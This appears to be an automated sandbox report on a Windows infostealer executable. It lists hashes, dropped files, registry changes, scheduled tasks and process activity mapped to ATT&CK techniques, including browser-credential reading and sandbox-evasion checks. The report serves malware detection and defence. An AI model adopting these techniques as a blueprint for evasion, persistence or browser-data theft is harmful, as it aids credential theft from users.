a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0

Analysis

max time kernel
200s
max time network
245s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
01-07-2024 05:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0.exe
Size

7.2MB
MD5

decb7189d9089b7d45706c427a5ee4a8
SHA1

050a6748764d8ba6ccebe944721422885a31caf6
SHA256

a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0
SHA512

cc280c7d2d0904ccfba8317a7592cbc6399b4d4cb303114fa5df9d1c3e9e6310ec0acfbd15e53dbd6249b93d0bc7171ff158b5d8655463dadcc1815192f65afe
SSDEEP

196608:91OV3xCL8rggS1o6XvRSBQfYkIMMfXMfQqJzF19DjAp:3OZa931ofHkIM2MIqF+p

Score

8^/10

discovery execution spyware stealer

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

41 916 rundll32.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.EXEpowershell.exe

pid process

4372 powershell.exe
2848 powershell.EXE
1428 powershell.exe

flow	pid	process
41	916	rundll32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

rundll32.exeInstall.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

qUYQYih.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000\Control Panel\International\Geo\Nation qUYQYih.exe
Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exeInstall.exeqUYQYih.exe

pid process

1036 Install.exe
1416 Install.exe
5052 Install.exe
2308 qUYQYih.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

916 rundll32.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000\Control Panel\International\Geo\Nation	qUYQYih.exe

pid	process
1036	Install.exe
1416	Install.exe
5052	Install.exe
2308	qUYQYih.exe

pid	process
916	rundll32.exe

Drops Chrome extension 2 IoCs

Processes:

qUYQYih.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	qUYQYih.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	qUYQYih.exe

Drops desktop.ini file(s) 1 IoCs

Processes:

Install.exe

description ioc process

File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini Install.exe

description	ioc	process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	Install.exe

Drops file in System32 directory 33 IoCs

Processes:

qUYQYih.exeInstall.exepowershell.exepowershell.exepowershell.exerundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	qUYQYih.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	qUYQYih.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	qUYQYih.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_D55A76EA86A3695733B952639E5D4848	qUYQYih.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_D55A76EA86A3695733B952639E5D4848	qUYQYih.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	qUYQYih.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	qUYQYih.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_76B4AC942398240FF309817636D6DBC9	qUYQYih.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	qUYQYih.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E52E4DB9468EB31D663A0754C2775A04	qUYQYih.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E52E4DB9468EB31D663A0754C2775A04	qUYQYih.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	qUYQYih.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	qUYQYih.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDE8B1B7E253A9758EC380BD648952AF_A3D4688236962EEA03574DE4F61B95D9	qUYQYih.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDE8B1B7E253A9758EC380BD648952AF_A3D4688236962EEA03574DE4F61B95D9	qUYQYih.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	qUYQYih.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	qUYQYih.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	qUYQYih.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	qUYQYih.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_76B4AC942398240FF309817636D6DBC9	qUYQYih.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	qUYQYih.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	qUYQYih.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199	qUYQYih.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	rundll32.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	qUYQYih.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	qUYQYih.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199	qUYQYih.exe

Drops file in Program Files directory 14 IoCs

Processes:

qUYQYih.exe

description	ioc	process
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	qUYQYih.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	qUYQYih.exe
File created	C:\Program Files (x86)\MIUMVdEgyTUn\EpuHwaA.dll	qUYQYih.exe
File created	C:\Program Files (x86)\bBBSFQQZU\mfePJR.dll	qUYQYih.exe
File created	C:\Program Files (x86)\rUfZlqUIdWiU2\WStJEFt.xml	qUYQYih.exe
File created	C:\Program Files (x86)\NNMAoTKMcAkAC\usNMiIV.xml	qUYQYih.exe
File created	C:\Program Files (x86)\rPikKiIbwrQGukIChiR\rRFpAeh.dll	qUYQYih.exe
File created	C:\Program Files (x86)\rPikKiIbwrQGukIChiR\LYHtBAw.xml	qUYQYih.exe
File created	C:\Program Files (x86)\NNMAoTKMcAkAC\sgcxAjX.dll	qUYQYih.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	qUYQYih.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	qUYQYih.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	qUYQYih.exe
File created	C:\Program Files (x86)\bBBSFQQZU\HvepykF.xml	qUYQYih.exe
File created	C:\Program Files (x86)\rUfZlqUIdWiU2\OmjfkeHPAJNRH.dll	qUYQYih.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\bUVDAOPnPkUhchiViu.job	schtasks.exe
File created	C:\Windows\Tasks\MhsnVFKWmmyXGZkTD.job	schtasks.exe
File created	C:\Windows\Tasks\LVynAQLCTpGcVPg.job	schtasks.exe
File created	C:\Windows\Tasks\MRaTohzfdszDuijXP.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

896 5052 WerFault.exe Install.exe
4596 1416 WerFault.exe Install.exe
1772 2308 WerFault.exe qUYQYih.exe

pid	pid_target	process	target process
896	5052	WerFault.exe	Install.exe
4596	1416	WerFault.exe	Install.exe
1772	2308	WerFault.exe	qUYQYih.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

rundll32.exeInstall.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exeqUYQYih.exeInstall.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	qUYQYih.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{38fc5f00-0000-0000-0000-d01200000000}	qUYQYih.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	qUYQYih.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	qUYQYih.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	qUYQYih.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	qUYQYih.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

4556 schtasks.exe
2292 schtasks.exe
660 schtasks.exe
2968 schtasks.exe
1992 schtasks.exe
4836 schtasks.exe
2892 schtasks.exe
2180 schtasks.exe
4212 schtasks.exe
2680 schtasks.exe

pid	process
4556	schtasks.exe
2292	schtasks.exe
660	schtasks.exe
2968	schtasks.exe
1992	schtasks.exe
4836	schtasks.exe
2892	schtasks.exe
2180	schtasks.exe
4212	schtasks.exe
2680	schtasks.exe

Suspicious behavior: EnumeratesProcesses 49 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.EXEqUYQYih.exepowershell.exe

pid	process
4372	powershell.exe
4372	powershell.exe
4372	powershell.exe
1292	powershell.exe
1292	powershell.exe
1292	powershell.exe
2976	powershell.exe
2976	powershell.exe
2976	powershell.exe
2848	powershell.EXE
2848	powershell.EXE
2848	powershell.EXE
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
1428	powershell.exe
1428	powershell.exe
1428	powershell.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe
2308	qUYQYih.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exeWMIC.exepowershell.exepowershell.exepowershell.EXEpowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	4372	powershell.exe
Token: SeIncreaseQuotaPrivilege	1620	WMIC.exe
Token: SeSecurityPrivilege	1620	WMIC.exe
Token: SeTakeOwnershipPrivilege	1620	WMIC.exe
Token: SeLoadDriverPrivilege	1620	WMIC.exe
Token: SeSystemProfilePrivilege	1620	WMIC.exe
Token: SeSystemtimePrivilege	1620	WMIC.exe
Token: SeProfSingleProcessPrivilege	1620	WMIC.exe
Token: SeIncBasePriorityPrivilege	1620	WMIC.exe
Token: SeCreatePagefilePrivilege	1620	WMIC.exe
Token: SeBackupPrivilege	1620	WMIC.exe
Token: SeRestorePrivilege	1620	WMIC.exe
Token: SeShutdownPrivilege	1620	WMIC.exe
Token: SeDebugPrivilege	1620	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1620	WMIC.exe
Token: SeRemoteShutdownPrivilege	1620	WMIC.exe
Token: SeUndockPrivilege	1620	WMIC.exe
Token: SeManageVolumePrivilege	1620	WMIC.exe
Token: 33	1620	WMIC.exe
Token: 34	1620	WMIC.exe
Token: 35	1620	WMIC.exe
Token: 36	1620	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1620	WMIC.exe
Token: SeSecurityPrivilege	1620	WMIC.exe
Token: SeTakeOwnershipPrivilege	1620	WMIC.exe
Token: SeLoadDriverPrivilege	1620	WMIC.exe
Token: SeSystemProfilePrivilege	1620	WMIC.exe
Token: SeSystemtimePrivilege	1620	WMIC.exe
Token: SeProfSingleProcessPrivilege	1620	WMIC.exe
Token: SeIncBasePriorityPrivilege	1620	WMIC.exe
Token: SeCreatePagefilePrivilege	1620	WMIC.exe
Token: SeBackupPrivilege	1620	WMIC.exe
Token: SeRestorePrivilege	1620	WMIC.exe
Token: SeShutdownPrivilege	1620	WMIC.exe
Token: SeDebugPrivilege	1620	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1620	WMIC.exe
Token: SeRemoteShutdownPrivilege	1620	WMIC.exe
Token: SeUndockPrivilege	1620	WMIC.exe
Token: SeManageVolumePrivilege	1620	WMIC.exe
Token: 33	1620	WMIC.exe
Token: 34	1620	WMIC.exe
Token: 35	1620	WMIC.exe
Token: 36	1620	WMIC.exe
Token: SeDebugPrivilege	1292	powershell.exe
Token: SeDebugPrivilege	2976	powershell.exe
Token: SeDebugPrivilege	2848	powershell.EXE
Token: SeDebugPrivilege	1428	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	1200	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1200	WMIC.exe
Token: SeSecurityPrivilege	1200	WMIC.exe
Token: SeTakeOwnershipPrivilege	1200	WMIC.exe
Token: SeLoadDriverPrivilege	1200	WMIC.exe
Token: SeSystemtimePrivilege	1200	WMIC.exe
Token: SeBackupPrivilege	1200	WMIC.exe
Token: SeRestorePrivilege	1200	WMIC.exe
Token: SeShutdownPrivilege	1200	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1200	WMIC.exe
Token: SeUndockPrivilege	1200	WMIC.exe
Token: SeManageVolumePrivilege	1200	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1200	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1200	WMIC.exe
Token: SeSecurityPrivilege	1200	WMIC.exe
Token: SeTakeOwnershipPrivilege	1200	WMIC.exe
Token: SeLoadDriverPrivilege	1200	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0.exeInstall.exeInstall.exeforfiles.execmd.exepowershell.exeInstall.exepowershell.execmd.exe

description	pid	process	target process
PID 5068 wrote to memory of 1036	5068	a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0.exe	Install.exe
PID 5068 wrote to memory of 1036	5068	a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0.exe	Install.exe
PID 5068 wrote to memory of 1036	5068	a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0.exe	Install.exe
PID 1036 wrote to memory of 1416	1036	Install.exe	Install.exe
PID 1036 wrote to memory of 1416	1036	Install.exe	Install.exe
PID 1036 wrote to memory of 1416	1036	Install.exe	Install.exe
PID 1416 wrote to memory of 800	1416	Install.exe	forfiles.exe
PID 1416 wrote to memory of 800	1416	Install.exe	forfiles.exe
PID 1416 wrote to memory of 800	1416	Install.exe	forfiles.exe
PID 800 wrote to memory of 1944	800	forfiles.exe	cmd.exe
PID 800 wrote to memory of 1944	800	forfiles.exe	cmd.exe
PID 800 wrote to memory of 1944	800	forfiles.exe	cmd.exe
PID 1944 wrote to memory of 4372	1944	cmd.exe	powershell.exe
PID 1944 wrote to memory of 4372	1944	cmd.exe	powershell.exe
PID 1944 wrote to memory of 4372	1944	cmd.exe	powershell.exe
PID 4372 wrote to memory of 1620	4372	powershell.exe	WMIC.exe
PID 4372 wrote to memory of 1620	4372	powershell.exe	WMIC.exe
PID 4372 wrote to memory of 1620	4372	powershell.exe	WMIC.exe
PID 1416 wrote to memory of 2892	1416	Install.exe	schtasks.exe
PID 1416 wrote to memory of 2892	1416	Install.exe	schtasks.exe
PID 1416 wrote to memory of 2892	1416	Install.exe	schtasks.exe
PID 5052 wrote to memory of 1292	5052	Install.exe	powershell.exe
PID 5052 wrote to memory of 1292	5052	Install.exe	powershell.exe
PID 5052 wrote to memory of 1292	5052	Install.exe	powershell.exe
PID 1292 wrote to memory of 2160	1292	powershell.exe	cmd.exe
PID 1292 wrote to memory of 2160	1292	powershell.exe	cmd.exe
PID 1292 wrote to memory of 2160	1292	powershell.exe	cmd.exe
PID 2160 wrote to memory of 2528	2160	cmd.exe	reg.exe
PID 2160 wrote to memory of 2528	2160	cmd.exe	reg.exe
PID 2160 wrote to memory of 2528	2160	cmd.exe	reg.exe
PID 1292 wrote to memory of 3524	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 3524	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 3524	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 164	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 164	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 164	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 2384	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 2384	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 2384	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 424	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 424	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 424	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 200	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 200	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 200	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 2880	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 2880	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 2880	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 3540	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 3540	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 3540	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 2684	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 2684	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 2684	1292	powershell.exe	reg.exe
PID 1292 wrote to memory of 1132	1292	powershell.exe	reg.exe
